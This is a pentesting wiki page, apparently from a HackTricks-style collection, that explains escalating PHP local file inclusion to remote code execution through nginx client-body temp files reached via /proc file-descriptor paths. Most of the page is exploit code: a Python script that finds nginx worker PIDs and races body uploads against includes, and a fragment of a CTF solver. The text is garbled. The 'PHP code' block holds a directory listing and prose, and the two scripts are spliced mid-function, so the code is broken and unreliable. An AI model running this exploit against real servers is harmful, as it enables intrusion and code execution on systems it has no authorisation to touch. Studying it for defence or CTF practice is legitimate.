# LFI2RCE via Nginx temp files

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## Vulnerable configuration

[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

* PHP code:

```php

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'

```

```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
```

except: pass

```

def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)

def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()

def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)

def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()

def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)

```

## Labs

* <https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz>
* <https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/>
* <https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/>

## References

* <https://bierbaumer.net/security/php-lfi-with-nginx-assistance/>

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\`\`\`
